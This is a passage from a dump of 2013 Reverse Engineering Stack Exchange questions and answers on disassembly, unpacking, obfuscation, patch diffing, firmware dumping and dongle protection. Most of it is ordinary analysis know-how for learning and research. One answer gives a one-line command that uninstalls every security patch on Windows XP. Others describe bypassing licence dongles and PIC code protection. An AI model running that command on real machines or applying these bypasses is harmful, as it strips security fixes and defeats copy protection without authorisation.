        "Body": "<p>Let's assume I have a device with an FPGA on it, and I managed to extract the bitstream from its flash. How would I go about recovering its behavior?</p>\n\n<p>One simple case is if it implements a soft processor - in that case there should be firmware for that processor somewhere and I can just disassemble that. But what if it's just a bunch of IP blocks and some additional logic?</p>\n",
        "Title": "Reversing an FPGA circuit",
        "Tags": "|hardware|fpga|",
        "Answer": "<p>RapidSmith does that for you. <a href=\"http://rapidsmith.sourceforge.net/\" rel=\"nofollow noreferrer\">http://rapidsmith.sourceforge.net/</a></p>\n\n<p>There is also a paper that you can read as the starting point: \"Recent Advances in FPGA Reverse Engineering\" Hoyoung Yu, Hansol Lee, Sangil Lee , Youngmin Kim  and Hyung-Min Lee</p>\n"
    },
    {
        "Id": "87",
        "CreationDate": "2013-03-20T18:09:54.637",
        "Body": "<p>When reverse engineering binaries compiled from C++, it is common to see many indirect calls to function pointers in <a href=\"http://en.wikipedia.org/wiki/Virtual_method_table\">vtables</a>.  To determine where these calls lead, one must always be aware of the object types expected by the <code>this</code> pointer in <a href=\"http://en.wikipedia.org/wiki/Virtual_function\">virtual functions</a>, and sometimes map out a class hierarchy.</p>\n\n<p>In the context of static analysis, what tools or annotation techniques do you use to make virtual functions simpler to follow in your disassembly?  Solutions for all static analysis toolkits are welcome.</p>\n",
        "Title": "Static analysis of C++ binaries",
        "Tags": "|static-analysis|ida|c++|vtables|virtual-functions|",
        "Answer": "<p>I gave a talk at Recon in 2011 (\"Practical C++ Decompilation\") on this exact topic. <a href=\"http://www.hexblog.com/wp-content/uploads/2011/08/Recon-2011-Skochinsky.pdf\" rel=\"nofollow noreferrer\">Slides</a> and <a href=\"https://www.youtube.com/watch?v=efkLG8-G3J0\" rel=\"nofollow noreferrer\">video</a> (<a href=\"https://www.youtube.com/watch?v=efkLG8-G3J0\" rel=\"nofollow noreferrer\">mirror</a>) are available.</p>\n\n<p>The basic approach is simple: represent classes as structures, and vtables as structures of function pointers. There are some tricks I described that allow you to handle inheritance and different vtables for the classes in the same hierarchy. These tricks were also described on <a href=\"http://blog.0xbadc0de.be/archives/67\" rel=\"nofollow noreferrer\">this blog</a>; I'm not sure if it was based on my talk or an independent work.</p>\n\n<p>One additional thing that I do is add a repeatable comment to each slot in the vtable structure with the implementation's address. This allows you to quickly jump to the implementation when you apply the structure to the vtable slot load:</p>\n\n<p><img src=\"https://i.stack.imgur.com/dAGk2.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "90",
        "CreationDate": "2013-03-20T18:51:19.000",
        "Body": "<p>I want to know what jQuery plugins Facebook uses for their special scrollbar, like the two on the left, not the normal one on the right:</p>\n\n<p><img src=\"https://i.stack.imgur.com/odVcU.png\" alt=\"enter image description here\"></p>\n\n<p>(<a href=\"http://www.pcworld.com/article/240475/two_important_facebook_hover_tricks.html\" rel=\"nofollow noreferrer\">source</a>)</p>\n\n<p>Generally, how should I go when I want to know what jQuery plugin [website X] uses for [behaviour Y]?</p>\n",
        "Title": "Get used jQuery plugins from website",
        "Tags": "|javascript|websites|",
        "Answer": "<p>I used <a href=\"https://noraesae.github.io/perfect-scrollbar/\" rel=\"nofollow noreferrer\">https://noraesae.github.io/perfect-scrollbar/</a> that is very similar and easy to use</p>\n"
    },
    {
        "Id": "95",
        "CreationDate": "2013-03-20T20:34:26.300",
        "Body": "<p>How would a C variable argument function such as <code>printf(char* format, ...)</code> look like when disassembled?</p>\n\n<p>Is it always identified by calling convention, or are there more ways to identify it?</p>\n",
        "Title": "Identifying variable args function",
        "Tags": "|disassembly|calling-conventions|c|",
        "Answer": "<p>It is very simple in some architectures, and not very obvious in others. I'll describe a few I'm familiar with.</p>\n\n<h2>SystemV x86_64 (Linux, OS X, BSD)</h2>\n\n<p>Probably the easiest to recognize. Because of the boneheaded decision to specify the number of used XMM registers in <code>al</code>, most vararg functions begin like this:</p>\n\n<pre><code>    push    rbp\n    mov     rbp, rsp\n    sub     rsp, 0E0h\n    mov     [rbp+var_A8], rsi\n    mov     [rbp+var_A0], rdx\n    mov     [rbp+var_98], rcx\n    mov     [rbp+var_90], r8\n    mov     [rbp+var_88], r9\n    movzx   eax, al\n    lea     rdx, ds:0[rax*4]\n    lea     rax, loc_402DA1\n    sub     rax, rdx\n    lea     rdx, [rbp+var_1]\n    jmp     rax\n    movaps  xmmword ptr [rdx-0Fh], xmm7\n    movaps  xmmword ptr [rdx-1Fh], xmm6\n    movaps  xmmword ptr [rdx-2Fh], xmm5\n    movaps  xmmword ptr [rdx-3Fh], xmm4\n    movaps  xmmword ptr [rdx-4Fh], xmm3\n    movaps  xmmword ptr [rdx-5Fh], xmm2\n    movaps  xmmword ptr [rdx-6Fh], xmm1\n    movaps  xmmword ptr [rdx-7Fh], xmm0\nloc_402DA1:\n</code></pre>\n\n<p>Note how it's using <code>al</code> to determine how many xmm registers to spill onto the stack.</p>\n\n<h2>Windows x64 aka AMD64</h2>\n\n<p>In Win64 it's less obvious, but here's one sign: the registers that correspond to the elliptic parameters are always spilled onto the stack and at positions that line up with the rest of arguments passed on the stack. E.g. here's the <code>printf</code>'s prolog:</p>\n\n<pre><code>  mov     rax, rsp\n  mov     [rax+8], rcx\n  mov     [rax+10h], rdx\n  mov     [rax+18h], r8\n  mov     [rax+20h], r9\n</code></pre>\n\n<p>Here, <code>rcx</code> contains the fixed <code>format</code> argument, and the elliptic arguments are passed in <code>rdx</code>, <code>r8</code> and <code>r9</code> and then on the stack. We can observe that <code>rdx</code>, <code>r8</code> and <code>r9</code> are stored exactly one after another, and just below the rest of the arguments, which begin at <code>rsp+0x28</code>. The area [rsp+8..rsp+0x28] is reserved <a href=\"http://msdn.microsoft.com/en-us/library/ew5tede7.aspx\">exactly for this purpose</a>, but the non-vararg functions often don't store all register arguments there, or reuse that area for local variables. For example, here's a <em>non</em>-vararg function prolog:</p>\n\n<pre><code>  mov     [rsp+10h], rbx\n  mov     [rsp+18h], rbp\n  mov     [rsp+20h], rsi\n</code></pre>\n\n<p>You can see that it's using the reserved area for saving non-volatile registers, and not spilling the register arguments.</p>\n\n<h2>ARM</h2>\n\n<p>ARM calling convention uses <code>R0</code>-<code>R3</code> for the first arguments, so vararg functions need to spill them onto stack to line up with the rest of parameters passed on the stack. Thus you will see <code>R0</code>-<code>R3</code> (or <code>R1</code>-<code>R3</code>, or <code>R2</code>-<code>R3</code> or just <code>R3</code>) being pushed onto stack, which <em>usually</em> does not happen in non-vararg functions. It's not a 100% foolproof indicator - e.g. Microsoft's compiler sometimes pushes <code>R0</code>-<code>R1</code> onto the stack and accesses them using <code>SP</code> instead of moving to other registers and using that. But I think it's a pretty reliable sign for GCC. Here's an example of GCC-compiled function:</p>\n\n<pre><code>STMFD   SP!, {R0-R3}\nLDR     R3, =dword_86090\nSTR     LR, [SP,#0x10+var_14]!\nLDR     R1, [SP,#0x14+varg_r0] ; format\nLDR     R0, [R3]        ; s\nADD     R2, SP, #0x14+varg_r1 ; arg\nBL      vsprintf\nLDR     R3, =dword_86094\nMOV     R2, #1\nSTR     R2, [R3]\nLDR     LR, [SP+0x14+var_14],#4\nADD     SP, SP, #0x10\nRET\n</code></pre>\n\n<p>It's obviously a vararg function because it's calling <code>vsprintf</code>, and we can see <code>R0</code>-<code>R3</code> being pushed right at the start (you can't push anything else before that because the potential stack arguments are present at <code>SP</code> and so the <code>R0</code>-<code>R3</code> have to precede them).</p>\n"
    },
    {
        "Id": "98",
        "CreationDate": "2013-03-20T21:22:29.067",
        "Body": "<p>I have a binary on a Linux (Kernel 2.6) which I can execute, but can't read (chmod 0711). Therefore no static analysis is possible.</p>\n\n<pre><code>user1: $ ls -l bin \n-r-s--x--- user2 user1 bin\nuser1: $ file bin\nsetuid executable, regular file, no read permission\n</code></pre>\n\n<p>I'm looking for different dynamic techniques to gather as much information as possible.</p>\n\n<p>For example <code>strace</code> works with this executable.</p>\n\n<hr>\n\n<p>UPDATE : I was able to resolve the issue. <a href=\"https://reverseengineering.stackexchange.com/a/110\">See answer.</a></p>\n\n<p>Thank you all &lt;3 this new reverseengineering community rocks!</p>\n",
        "Title": "How can I analyse an executable with no read permission?",
        "Tags": "|linux|dynamic-analysis|",
        "Answer": "<p>Using ptrace-based dynamic analysis tools on suid binaries makes them run without privileges. Because of this, a copy of the file running as your user is probably sufficient for analysis purposes.</p>\n\n<p>When I have had to do this, I used the <a href=\"http://reverse.lostrealm.com/tools/xocopy.html\">xocopy tool</a>, which uses <code>ptrace</code> to reconstruct ELF files when the header is mapped into memory (most compilers do this, possibly for use by the dynamic linker). I haven't tested the tool with ASLR, but you may be able to combine it with some of the techniques covered in other answers. Once the file has been dumped, it can be analysed statically, or run with any dynamic analysis tool.</p>\n"
    },
    {
        "Id": "113",
        "CreationDate": "2013-03-21T04:24:08.590",
        "Body": "<p>Say I have a binary that I'm not able to execute (for example it runs on some device that I don't have one of), but I can disassemble it. I can get the docs on the architecture. (It's MIPS little endian in my case.) But the binary has very few imports, very few strings, etc., so it really seems like it's packed.</p>\n\n<p>How can I go about <em>statically</em> unpacking it? (Edit: I mean, unpacking it without any access to the original device.)</p>\n",
        "Title": "Unpacking binary statically",
        "Tags": "|obfuscation|unpacking|executable|",
        "Answer": "<p>several possible ways:</p>\n\n<ol>\n<li><p>identify the packer</p>\n\n<ul>\n<li>get standard packers of your platform (<a href=\"http://upx.sourceforge.net/\" rel=\"nofollow\">UPX</a> for example), check if it's not the one used.</li>\n<li>If it's a standard packer, then maybe you've already won, as it might be documented, or even better, like UPX, it can unpack itself and is open-source.</li>\n</ul></li>\n<li><p>identify the algorithm</p>\n\n<ul>\n<li>there are not so many good+widespread packer algorithms (NRV, LZMA, JCAlg, ApLib, BriefLZ). they're usually easily identifiable by their body size or their constants. (I implemented several of them in pure python in <a href=\"https://code.google.com/p/kabopan/source/browse/#svn%2Ftrunk%2Fkbp%2Fcomp\" rel=\"nofollow\">Kabopan</a>)</li>\n<li>if you can easily identify the packing/encryption algorithm, then you can probably find a clean implementation for static unpacking</li>\n</ul></li>\n<li><p>get your hands dirty</p>\n\n<ul>\n<li>if you still don't know the algorithm and it's apparently really a custom one, then read another packer for the same platform (ie once again, read UPX Mips binary and its source), so it can make you familiar with similar (packer) tricks used on your platform.</li>\n<li>then look for the likely compression algorithm (likely a different-looking piece of code, people <strong>very rarely</strong> mess with them, and re-implement the algorithm in your favorite language, and unpack externally (locate parameters, apply algorithms, modify/reconstruct binary)</li>\n</ul></li>\n<li><p>Lazy method by bruteforcing: some algorithms like <a href=\"http://corkami.googlecode.com/svn/trunk/wip/MakePE/examples/packer/aplib.py\" rel=\"nofollow\">ApLib</a> don't have any header nor parameter (not even a size): the algorithm just requires a pointer to a compressed buffer, so it's sometimes enough to just blindly try it on any offset of your binary, and check if we get a decent decompressed buffer (not too small, not huge+full of 00s).</p></li>\n</ol>\n"
    },
    {
        "Id": "118",
        "CreationDate": "2013-03-21T11:05:10.740",
        "Body": "<p>If I am building a C++ application and I want to make it more difficult to reverse engineer, what steps can I take to do this?</p>\n\n<ul>\n<li>Does the choice of compiler affect this?</li>\n<li>What about compiler flags, presumably a high optimization level would help, what about other flags?</li>\n<li>Does stripping symbols help and not building with debug symbols?</li>\n<li>Should I encrypt any internal data such as static strings?</li>\n<li>What other steps might I take?</li>\n</ul>\n",
        "Title": "What kinds of steps can I take to make my C++ application harder to reverse engineer?",
        "Tags": "|obfuscation|compilers|c++|symbols|strings|",
        "Answer": "<p><strong>Compiler</strong></p>\n<p>The choice of a compiler has minimal effects on the difficulty to reverse engineer your code. The important things to minimize are all related to information leaks from your code. You want to at least disable any runtime type information (RTTI). The leakage of type information and the simplicity of the instruction set of the virtual machine is one of the reasons CLR and JVM code is easier to reverse engineer. They also have an JIT which applies optimizations to code which may reduce the strength of obfuscation. Obfuscation is basically the opposite of optimization and a lot of obfuscations are solved by first applying an optimization pass.</p>\n<p><strong>Debugging information</strong></p>\n<p>I would advise you to also turn off any debugging information, even if it doesn't leak any majorly important information today it might do so tomorrow. The amount of information leakage from the debug information varies from compiler to compiler and from binary format to binary format. For instance, Microsoft Visual C++ keeps all important debugging information in an external database, usually in the form of a PDB. The most you might leak is the path you used when building your software.</p>\n<p><strong>Strings</strong></p>\n<p>When it comes to strings you should definitely encrypt them if you need them at all. I would aim to replace all the ones that are for error tracing and error logging with numeric enumerations. Strings that reveal any sort of information about what is going on right now in your binary need to be unavailable. If you encrypt the strings, they will be decrypted. Try to avoid them as much as possible.</p>\n<p><strong>System APIs</strong></p>\n<p>Another strong source of information leakage is imports of system APIs. You want to make sure that any imported function which has a known signature is well-hidden and can not be found using automatic analysis. So an array of function pointers from something like LoadLibrary/GetProcAddress is out of the question. All calls to imported functions need to go through a one-way function and need to be embedded within an obfuscated block.</p>\n<p><strong>Standard runtime libraries</strong></p>\n<p>Something a lot of people forget to take into consideration is the information leaked by standard libraries, such as the runtime of your C++ compiler. I would avoid the use of it completely. This is because most experienced reverse engineers will have signatures prepared for a lot of standard libraries.</p>\n<p><strong>Obfuscation</strong></p>\n<p>You should also cover any critical code with some sort of heavy obfuscation. Some of the heavier and cheaper obfuscations right now are <a href=\"http://oreans.com/codevirtualizer.php\" rel=\"nofollow noreferrer\">CodeVirtualizer/Themida</a> and <a href=\"http://vmpsoft.com/\" rel=\"nofollow noreferrer\">VMProtect</a>. Be aware that these packages have an abundance of defects though. They will sometimes transform your code to something which will not be the equivalent of the original which can lead to instability. They also slow down the obfuscated code significantly. A factor of 10000 times slower is not uncommon. There's also the issue of triggering more false positives with anti-virus software. I would advise you to sign your software using a reputable certificate authority.</p>\n<p><strong>Separation of functional blocks</strong></p>\n<p>The separation of code into functions is another thing that makes it easier to reverse-engineer a program. This applies especially when the functions are obfuscated because it creates boundaries around which the reverse engineer can reason about your software. This way the reverse engineer can solve your program in a divide-and-conquer manner. Ideally, you would want your software in one effective block with obfuscation applied uniformly to the entire block as one. To reduce the number of blocks, use inlining very generously and wrap them in a good obfuscation algorithm. The compiler can easily do some heavy optimizations and stack ordering which will make the block harder to reverse engineer.</p>\n<p><strong>Runtime</strong></p>\n<p>When you hide information it is important that the information is well hidden at runtime as well. A competent reverse engineer will examine the state of your program as it is running. So using static variables that decrypt when loaded or by using packing which is completely unpacked upon loading will lead to a quick find. Be careful about what you allocate on the heap. All heap operations go via API calls and can be easily logged to a file and reasoned about. Stack operations are generally harder to keep track of just because of how frequent they are. Dynamic analysis is just as important as static. You need to be aware of what your program state is at all times and what information lies where.</p>\n<p><strong>Anti-debugging</strong></p>\n<p>Anti-debugging is worthless. Do not spend time on it. Spend time on making sure your secrets are well hidden independent of whether your software is at rest or not.</p>\n<p><strong>Packing and encrypting code segment</strong></p>\n<p>I will group encryption and packing into the same category. They both serve the same purpose and they both have the same issues. In order to execute the code, the CPU needs to see the plain text. So you have to provide the key in the binary. The only remotely effective way of encrypting and packing code segments is if you encrypt and decrypt them at functional boundaries and only if the decryption happens upon function entry and then re-encryption happens when leaving the function. This will provide a small barrier against dumping your binary as it is running but is must be coupled with strong obfuscation.</p>\n<p><strong>Finally</strong></p>\n<p>Study your software in something like the free version of IDA. Your goal is to make sure that it becomes virtually impossible for the reverse engineer to find a steady mental footing. The less information you leak and the more changing the environment is, the harder it will be to study. If you're not an experienced reverse engineer, designing something hard to reverse engineer is almost impossible.</p>\n<p>If you're designing a copy protection system prepare for it to be broken mentally. Make sure you have a plan for how you will deal with the break and how to make sure the next version of your software adds enough value to drive upgrades. Build your system on solid ground which can not be broken, do not resort to generating your own license keys using some custom algorithm hidden in the manner I described above. The system needs to be built on a sound cryptographic foundation for the unforgeability of messages.</p>\n"
    },
    {
        "Id": "120",
        "CreationDate": "2013-03-21T12:53:55.163",
        "Body": "<p>For the purpose of learning about the complexities involved in writing PoC's (and gaining experience in) one could do patch diffing and have real world vulnerable examples to practice on. For now please disregard the idea of making your own vulnerable programs.</p>\n<p>For patch diffing I see 3 states an OS can be in, let's take windows 7 as example:</p>\n<ol>\n<li>Plain state (no service packs, no patches)</li>\n<li>Partially patched (not updated to the latest released patches)</li>\n<li>Fully patched</li>\n</ol>\n<p><strong>Scenario</strong></p>\n<ul>\n<li>My vmware/vbox system is in state 3 (fully patched).</li>\n<li>Next I go to the Microsoft Security Bulletin and pick a vulnerability (e.g. kernel).</li>\n<li>Now I want to revert to a useful state...</li>\n</ul>\n<p>Although it will likely work on the plain state(1), the diff results will be bigger/harder to spot the issue. Secondly, the bug to the latest vulnerability could have been introduced by a previous patch/service pack.</p>\n<p><em>Therefore, how does one go from OS state 3 to state 2, where state 2 is a system patched up to just before the new patch that resolves the issue? Or if more convenient, from state 1 to state 2.</em></p>\n<h2>update</h2>\n<p>I realize my question isn't as clear as I thought it was in my head, hopefully this clarifies a bit</p>\n<p>I'm aware of the snapshot features of vmware/vbox but that is not what I'm looking for. What I'm actually aiming for is</p>\n<ol>\n<li>How to get the old versions of the changed binaries?</li>\n<li>How to know to which version to revert? Is there some naming scheme in the files?</li>\n</ol>\n<p>Example:</p>\n<ul>\n<li>My system is fully up to date.</li>\n<li>I find a KB-XXXXX at the Security bulletin, extract it and it gives me an updated .dll named abc_005.dll</li>\n<li>Now I want to put my system in a state that I get the previous (vulnerable) version of the dll (e.g. abc_004.dll). &lt;- How would I do this part?</li>\n</ul>\n",
        "Title": "How to manage/revert to specific OS versions for effective patch diffing?",
        "Tags": "|windows|operating-systems|",
        "Answer": "<p>I think there's a couple of approaches to get where you want.  Given your scenario where you have the KB patch on your fully updated system.  To get back to the previous version, uninstall that patch.</p>\n\n<p>The Metasploit Unleashed class used (still does?) has this command for XP that uninstalls all the patches:</p>\n\n<pre><code>C:\\&gt;dir /a /b c:\\windows\\$ntuninstallkb* &gt; kbs.txt &amp;&amp; for /f %i in (kbs.txt) do cd c:\\windows\\%i\\spuninst &amp;&amp; spuninst.exe /passive /norestart &amp;&amp; ping -n 15 localhost &gt; nul\n</code></pre>\n\n<p>Another approach that I think gets you to the same, if not better, state is to install a completely unpatched version of the operating system (e.g. from a MSDN install with no service packs).  From here, you can extract the base files.  For the patched versions, MSFT provides an ISO every month with the patches.  You can extract the patched executables from here.  For example, <a href=\"http://www.microsoft.com/en-nz/download/details.aspx?id=36959\" rel=\"nofollow\" title=\"here's\">here's</a> the ISO from this month of security updates.</p>\n"
    },
    {
        "Id": "125",
        "CreationDate": "2013-03-21T14:30:15.477",
        "Body": "<p>I have an Arduino Uno Rev3. I would like to extract and find out what code is burned on the ROM of the micro-controller board. </p>\n\n<ol>\n<li>How do I extract the code from the board?</li>\n<li>How do I figure out the original source code that went into the hex file? </li>\n</ol>\n",
        "Title": "How do I figure out what is burned on an Arduino ROM?",
        "Tags": "|decompilation|rom|dumping|",
        "Answer": "<p>There is a way to recompile with this opensource app, called RetDec:</p>\n\n<p><a href=\"https://github.com/avast-tl/retdec\" rel=\"nofollow noreferrer\">https://github.com/avast-tl/retdec</a></p>\n"
    },
    {
        "Id": "128",
        "CreationDate": "2013-03-21T15:29:33.923",
        "Body": "<p>I have a <a href=\"http://ww1.microchip.com/downloads/en/devicedoc/39632c.pdf\">PIC18F4550</a> from an old device and I need to see the code. I tried reading it using my ICD3 programmer, but the chip seems to have its code protected. How can I get the code anyway?</p>\n",
        "Title": "Get code from protected PIC",
        "Tags": "|hardware|pic|security|dumping|",
        "Answer": "<p>In the paper <a href=\"http://www.openpcd.org/images/HID-iCLASS-security.pdf\">Heart of Darkness - exploring the uncharted backwaters of HID iCLASS TM security\n</a> is a technique described (section III.C) that might work,but it does require a working device which might not be at hand in your situation.</p>\n\n<p>In short they use a TTL-232 cable in synchronous bit bang mode to emulate the PIC programmer. They then override the boot block by a special dumper firmware. Why it seems to work:</p>\n\n<blockquote>\n  <p>Microchip PIC microcontrollers internal memory is an EEPROM which means that data are stored and erase by pages (which hold a predefined amount of data).\n  The \"key\" point is that , whenever memory is copy protected, individual blocks can be erased resetting the copy protection bits only for these blocks.</p>\n</blockquote>\n"
    },
    {
        "Id": "143",
        "CreationDate": "2013-03-22T02:12:29.987",
        "Body": "<p>In a microkernel, much of the interesting functionality happens not with traditional function calls, but instead through message passing between separate entities.</p>\n\n<p>Is there a structure that OS architectures like this generally use to implement message passing? And is there a methodical way to label this while disassembling, to make it as easy to follow paths of messages as it is to follow the call stack? </p>\n",
        "Title": "Tracing message passing instead of a call stack",
        "Tags": "|disassembly|static-analysis|operating-systems|",
        "Answer": "<p>I don't think I disassembled any microkernels, but \"message passing\" is common in at least two categories of programs: Win32 GUI (both raw Win32 and MFC-based), and Objective-C executables.</p>\n\n<p>In both cases you have some kind of a central <em>dispatcher routine</em> (or routines) that accept messages and forward them to some <em>recipients</em>, which may be inside or outside the current program.</p>\n\n<p>The recipients can be registered dynamically (<code>RegisterClass</code> in Win32) or may be specified in some static fashion (Objective-C class metadata or MFC's message handler tables).</p>\n\n<p>As for dispatchers, let's consider Win32's <code>SendMessage</code>. It has arguments <code>hWnd</code> and <code>Msg</code> (and extra parameters). The first specifies the recipient. You may be able to trace where it came from and then just look up the class registration corresponding to the window and check whether its window procedure handles this specific message. I guess you could mark the call with a comment \"goes to window procedure 0x35345800\" or similar to keep track of it. With MFC you'll need to find the class' message table and look up the corresponding handler.</p>\n\n<p>With Objective-C, <code>objc_msgSend</code> accepts the receiving object and the <em>selector</em> to perform. If you can track back the the object, you can check if it has the selector with that name. Or, alternatively, check all selectors with this name in the program. Again, once you found it, make a comment.</p>\n\n<p>So, a similar approach can probably be extended to all other message-passing systems - find recipients, then at the place of the dispatcher call check which ones can potentially handle it, and check the handlers. Sometimes you don't even need to actually do the first part - if the message ID/name is unique enough, you may be able to find the handler just by searching for it.</p>\n\n<p>A somewhat related problem is working with C++ and virtual functions but it has been covered in <a href=\"https://reverseengineering.stackexchange.com/questions/87/static-analysis-of-c-binaries\">another question</a>.</p>\n\n<hr>\n\n<p>I've just remembered one more kind of programs that don't use the call stack. It's those that use <a href=\"http://en.wikipedia.org/wiki/Continuation-passing_style\" rel=\"nofollow noreferrer\">Continuation-passing Style</a>, usually written in some kind of a functional language. Greg Sinclair wrote a very nice and entertaining paper on the horrors of disassembling CHICKEN - an implementation of the language Scheme. His site is down but luckily Archive.org <a href=\"http://web.archive.org/web/20080827225015/http://www.nnl-labs.com/papers/\" rel=\"nofollow noreferrer\">kept a copy</a>. One quote from it:</p>\n\n<blockquote>\n  <p>For a reverse engineer, Continuation Passing Style means the end of\n  civilianization as we know it.</p>\n</blockquote>\n"
    },
    {
        "Id": "160",
        "CreationDate": "2013-03-22T14:01:31.240",
        "Body": "<p>Having recently watched/read a presentation <a href=\"http://www.trustedsec.com/files/Owning_One_Rule_All_v2.pdf\">given by Dave Kennedy at DEF CON 20 [PDF]</a>, I'd like to know how to decompile a Python script compiled with <a href=\"http://www.pyinstaller.org/\">PyInstaller</a>.</p>\n\n<p>In his presentation, he is creating a basic reverse shell script in Python, and converts it to an EXE with PyInstaller.</p>\n\n<p>My question is how do you take a PyInstaller created EXE and either completely, or generally, retrieve the logic/source code from the original Python script(s)?</p>\n",
        "Title": "How do you reverse engineer an EXE \"compiled\" with PyInstaller",
        "Tags": "|python|pe|",
        "Answer": "<p>The one stop solution for all pyinstaller exe things. Use this program to reverse engineer a pyinstaller generated exe file. </p>\n\n<p><a href=\"https://sourceforge.net/projects/pyinstallerexerebuilder/\" rel=\"nofollow\">https://sourceforge.net/projects/pyinstallerexerebuilder/</a></p>\n"
    },
    {
        "Id": "168",
        "CreationDate": "2013-03-22T23:31:46.983",
        "Body": "<p>I have an ELF file and want to know if it is UPX packed. How can I detect UPX compression in GNU/Linux?</p>\n",
        "Title": "How to check if an ELF file is UPX packed?",
        "Tags": "|linux|upx|",
        "Answer": "<ol>\n<li>get <a href=\"http://upx.sourceforge.net/\" rel=\"noreferrer\">UPX</a></li>\n<li>make your own UPX-packed ELFs, with different options (LZMA, NRV,...)</li>\n<li>As UPX is easy to modify, and very often modified, patched or even faked,\ncomparing the code starts will make it easy to check if your target\nis indeed UPX-packed, and if this is truely the original UPX version\nor if it's modified in any way.</li>\n</ol>\n"
    },
    {
        "Id": "171",
        "CreationDate": "2013-03-23T06:43:39.273",
        "Body": "<p>I am reversing a closed-source legacy application that uses Microsoft SQL Server (2005) and I would like to find out precisely what queries are being executed in the background. </p>\n\n<p>I understand that it may be possible to use Wireshark to view the network traffic, but it feels quite clumsy so I am looking for something more specialized for this purpose. </p>\n\n<p><strong>Is there a tool that is similar to <a href=\"https://addons.mozilla.org/en-us/firefox/addon/tamper-data/\">Firefox's Tamper Data</a>, but for MSSQL to view, and possibly edit queries?</strong></p>\n\n<p>Features that I am looking for:</p>\n\n<ul>\n<li>Able to view queries precisely as executed by the application (including blobs etc.)</li>\n</ul>\n\n<p>Features that would be very useful:</p>\n\n<ul>\n<li>Able to intercept query execution and allow edits to the value</li>\n</ul>\n",
        "Title": "Viewing MSSQL transactions between closed-source application and server",
        "Tags": "|windows|mssql|",
        "Answer": "<p>There is nothing wrong with using <a href=\"http://wiki.wireshark.org/Protocols/tds\" rel=\"nofollow\">the TDS protocol decoder that comes with WireShark</a>, assuming the connection is established via something that can be sniffed by WireShark. This is <strong>a specialized protocol decoder for <a href=\"http://msdn.microsoft.com/en-us/library/cc448435.aspx\" rel=\"nofollow\">TDS</a></strong> so I am not sure what you mean by:</p>\n\n<blockquote>\n  <p>I understand that it may be possible to use Wireshark to view the\n  network traffic, but it feels quite clumsy so I am looking for\n  something more specialized for this purpose.</p>\n</blockquote>\n\n<p>If you want to get your hands dirty you can write a proxy based on <a href=\"http://www.freetds.org\" rel=\"nofollow\">FreeTDS</a>. The perhaps biggest problem seems that either this project is now mature or abandoned. The <a href=\"http://freetds.cvs.sourceforge.net/viewvc/freetds/freetds/src/pool/\" rel=\"nofollow\"><code>tdspool</code></a> program is probably your best point to start if you wanted to write a proxy. But it's possible you could coerce jTDS into doing what you want (from a casual reading of the source code it doesn't seem to be as good a starting point as the <code>tdspool</code> program).</p>\n"
    },
    {
        "Id": "174",
        "CreationDate": "2013-03-23T08:39:25.617",
        "Body": "<p>Various software companies distribute their software with hardware security, usually a dongle which must be mounted in order for the software to operate.</p>\n\n<p>I don't have experience with them, but I wonder, do they really work?</p>\n\n<p>What is it that the dongle actually does?  I think that the only way to enforce security using this method, and prevent emulation of the hardware, the hardware has to perform some important function of the software, perhaps implement some algorithm, etc.</p>\n",
        "Title": "Are hardware dongles able to protect your software?",
        "Tags": "|hardware|security|dongle|",
        "Answer": "<p>Clearly Peter has addressed the main points of proper implementation. Given that I have - without publishing the results - \"cracked\" two different dongle systems in the past, I'd like to share my insights as well. user276 already hints, in part, at what the problem is.</p>\n\n<p>Many software vendors think that they purchase some kind of security for their licensing model when licensing a dongle system. They couldn't be further from the truth. All they do is to get the tools that allow them to implement a relatively secure system (within the boundaries pointed out in Peters answer).</p>\n\n<p>What is the problem with copy protection in general? If a software uses mathematically sound encryption for its licensing scheme this has no bearing on the security of the copy protection as such. Why? Well, you end up in a catch 22 situation. You don't trust the user (because the user could copy the software), so you encrypt stuff or use encryption somehow in your copy protection scheme. Alas, you need to have your private key in the product to use the encryption, which completely contradicts the notion of mistrusting the user. Dongles try to put the private key (and/or algorithm and/or other ingredients) into hardware such that the user has no access in the first place.</p>\n\n<p>However, since many vendors are under the impression that they purchase security out of the box, they don't put effort into the correct implementation. Which brings me to the first example. It's a CAD program my mother was using. Out of the knowledge that dongles connecting to LPT tend to fail more often than their more recent USB counterparts, I set out to \"work around\" this one. That was around 2005.</p>\n\n<p>It didn't take me too long. In fact I used a simple DLL placement attack (the name under which the scenario later became known) to inject my code. And that code wasn't all too elaborate. Only one particular function returned the value the dongle would usually read out (serial number), and that was it. The rest of the functions I would pass through to the original DLL which the dongle vendor requires to be installed along with the driver.</p>\n\n<p>The other dongle was a little before that. The problem here was that I was working for a subcontractor and we had limited access only to the software for which we were supposed to develop. It truly was a matter of bureaucracy between the company that licensed the software and the software vendor, but it caused major troubles for us. In this case it was a little more challenging to work around the dongle. First of all a driver had to be written to sniff the IRPs from and to the device. Then the algorithm used for encryption had to be found out. Luckily not all was done in hardware which provided the loop hole for us. In the end we had a little driver that would pose as the dongle. Its functionality was extended so far as to read out a real dongle, save the data (actually pass it to a user mode program saving it) and then load it back to pose as this dongle.</p>\n\n<p><strong>Conclusion:</strong> dongles, no matter which kind, if they <em>implement</em> core functionality of the program to which they belong will be hard to crack. For everything else it mostly depends on the determination and willingness to put in time of the person(s) that set out to work around the dongle.\nAs such I would say that dongles pose a considerable hindrance - if implemented correctly - but in cases of negligence on part of the software vendor seeking to protect his creation also mere snake oil.</p>\n\n<p>Take heed from the very last paragraph in Peters answer. But I would like to add one more thought. Software that is truly worth the effort of being protected, because it is unique in a sense, shouldn't be protected on the basis of customer harassment (== most copy protection schemes). Instead consider the example of IDA Pro, which can certainly be considered pretty unique software. They watermark the software to be able to track down the person that leaked a particular bundle. Of course, as we saw with the ESET leak, this doesn't help always, but it creates <a href=\"https://www.hex-rays.com/products/ida/support/hallofshame/index.shtml\">deterrence</a>. It'll be less likely that a cracker group gets their hands on a copy, for example.</p>\n"
    },
    {
        "Id": "175",
        "CreationDate": "2013-03-23T08:48:10.120",
        "Body": "<p>I've seen this referenced in a couple of other questions on this site.  But what's a FLIRT signature in IDA Pro?  And when would I create my own for use?</p>\n",
        "Title": "What is a FLIRT signature?",
        "Tags": "|ida|flirt-signatures|",
